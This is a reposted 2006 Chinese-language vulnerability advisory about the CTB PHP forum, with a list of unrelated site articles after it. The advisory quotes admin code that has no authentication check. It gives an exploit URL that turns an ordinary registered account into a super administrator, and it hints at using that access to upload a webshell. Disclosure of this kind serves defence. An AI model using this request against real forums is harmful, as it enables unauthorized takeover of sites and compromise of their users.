漂亮但不安全的CTB


Posted in PHP onOctober 09, 2006

>>>Dedicated This Scrap To CaoJing<<< 

涉及版本: 
^^^^^^^ 
目前所有版本(现在1.3Alpha为最高版本) 

描述: 
^^^^^^ 
CTB是一款由实易数码<11cn.org>;开发和维护的源代码开放的PHP论坛。由于其后台管理文件验证存在缺陷,可能导致非法用户直接添加论坛超级管理员,进而威胁论坛或服务器安全。 

具体: 
^^^^ 
CTB书写非常规范,代码井然有序,赏心悦目,的确是优美的程序;特别是其功能模块,着实让小弟学习了一把。但安全方面却令人堪忧: 

试看如下代码: 

/admin/main.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 //获取get变量 
   if( is_array($_GET) ) { 
      foreach($_GET as $k=>$v) { 
           if( is_array( $_GET[$k]) ) { 
               foreach($_GET[$k] as $k2=>$v2) { 
                   $return[$k][$k2] = $v2; 
               } 
           } else { 
               $return[$k] = $v; 
           } 
       } 

... 
$mod = isset($_GET['mod']) ? $_GET['mod'] : $_POST['mod']; 
   if (!file_exists($mod.".php" { 
       $mod = "mainright"; 
   } 
   require_once ($mod.".php"; 
   //----------------------------------------------------------------------------- 

   //初始化类变量 
   $ctb = new Module; 
   $ctb->set = $set; 
   $ctb->tplPath = "./templates"; 
   $ctb->input = $return; 
   $ctb->sess = isset($_COOKIE["sess_adminname"]) ? $_COOKIE : $_SESSION; 
   $ctb->execute(); 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

这里没有任何验证,我们看看添加管理员的文件: 

/admin/systemuser.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
class Module extends CommonClass 
//系统管理模块子类 

   function execute() { 
       switch($this->input['action']) { 
... 
case 'addSystemUser': 
               $this->addSystemUser(); 
               break; 
... 
    }       
   } 

function addSystemUser() 

   //输入数据简单格式化 
   $this->inputCheck("main.php?mod=systemuser&action=showSystemUser"; 
   //执行添加操作 
        $this->file = "../".$this->set[dataPath]."/users/list.php"; 
   $systemLine = $this->select(4, $this->input['systemUserName']); 
.... 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

依然没有验证,一路顺利啊! 

利用方法: 
^^^^^^^ 
先注册一个用户: 

登陆ID:  cat 
用户名 :   dog 
密码:      ilikecat 
重复密码:  ilikecat 
信箱:      cat@dog.com 

接着提交如下URL: 

http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser

哈哈,你现在已经是超级管理员了,不相信?提交如下URL后台登陆: 

http://www.psych.com/ctb/admin/main.php?mod=login 

管理名称:  cat 
管理密码:  ilikecat 

咦...还真成功了! 

你现在是不是想更改后台上传文件类型,然后upload webshell?哼,被我猜到了吧... 

后记:另外发现CTB代码注释有些扎眼的错别字,大煞风景,希望可以一起修正。

PHP 相关文章推荐
浅析PHP安装扩展mcrypt以及相关依赖项(PHP安装PECL扩展的方法)
Jul 05 PHP
使用php记录用户通过搜索引擎进网站的关键词
Feb 13 PHP
thinkphp的c方法使用示例
Feb 24 PHP
Zend Framework 2.0事件管理器(The EventManager)入门教程
Aug 11 PHP
php数组查找函数总结
Nov 18 PHP
Yii框架调试心得--在页面输出执行sql语句
Dec 25 PHP
php用ini_get获取php.ini里变量值的方法
Mar 04 PHP
基于ThinkPHP+uploadify+upload+PHPExcel 无刷新导入数据
Sep 23 PHP
PHP编程开发怎么提高编程效率 提高PHP编程技术
Nov 09 PHP
Thinkphp5框架ajax接口实现方法分析
Aug 28 PHP
解决laravel id非自增 模型取回为0 的问题
Oct 11 PHP
PHP常用header头定义代码示例汇总
Aug 29 PHP
自动跳转中英文页面
Oct 09 #PHP
随机头像PHP版
Oct 09 #PHP
1.PHP简介
Oct 09 #PHP
5.PHP的其他功能
Oct 09 #PHP
2.PHP入门
Oct 09 #PHP
4.与数据库的连接
Oct 09 #PHP
利用PHP创建动态图像
Oct 09 #PHP
You might like
WinXP + Apache +PHP5 + MySQL + phpMyAdmin安装全功略
2006/07/09 PHP
用PHP实现ODBC数据分页显示一例
2006/10/09 PHP
Laravel实现用户注册和登录
2015/01/23 PHP
Yii框架布局文件的动态切换操作示例
2019/11/11 PHP
TreeView 用法(有代码)(asp.net)
2011/07/15 Javascript
jQuery中bind()方法用法实例
2015/01/19 Javascript
jquery预加载图片的方法
2015/05/27 Javascript
jQuery自定义滚动条完整实例
2016/01/08 Javascript
js获取鼠标点击的对象,点击另一个按钮删除该对象的实现代码
2016/05/13 Javascript
基于vue+ bootstrap实现图片上传图片展示功能
2017/05/17 Javascript
微信小程序checkbox组件使用详解
2018/01/31 Javascript
详解Vue结合后台的列表增删改案例
2018/08/21 Javascript
Vuerouter的beforeEach与afterEach钩子函数的区别
2018/12/26 Javascript
es6 filter() 数组过滤方法总结
2019/04/03 Javascript
Vue 自定义指令功能完整实例
2019/09/17 Javascript
[02:09]EHOME夺得首届辉夜杯冠军—现场颁奖仪式
2015/12/28 DOTA
Python实现检测服务器是否可以ping通的2种方法
2015/01/01 Python
python写日志文件操作类与应用示例
2019/07/01 Python
Python实现Selenium自动化Page模式
2019/07/14 Python
使用Python实现画一个中国地图
2019/11/23 Python
pycharm设置python文件模板信息过程图解
2020/03/10 Python
Eclipse配置python默认头过程图解
2020/04/26 Python
pytorch读取图像数据转成opencv格式实例
2020/06/02 Python
python解释器安装教程的方法步骤
2020/07/02 Python
深入了解Python enumerate和zip
2020/07/16 Python
Canvas 文本转粒子效果的实现代码
2019/02/14 HTML / CSS
html5图片上传预览示例分享
2014/04/14 HTML / CSS
大三学生入党思想汇报
2014/01/02 职场文书
2014年商场超市庆元旦活动方案
2014/02/14 职场文书
国际商贸专业自荐信
2014/06/09 职场文书
教师自我剖析材料(群众路线)
2014/09/29 职场文书
2015廉洁自律个人总结
2015/02/14 职场文书
三八节活动主持词
2015/07/04 职场文书
Mac M1安装mnmp (Mac+Nginx+MySQL+PHP) 开发环境
2021/03/29 PHP
js实现上传图片到服务器
2021/04/11 Javascript
深入理解go slice结构
2021/09/15 Golang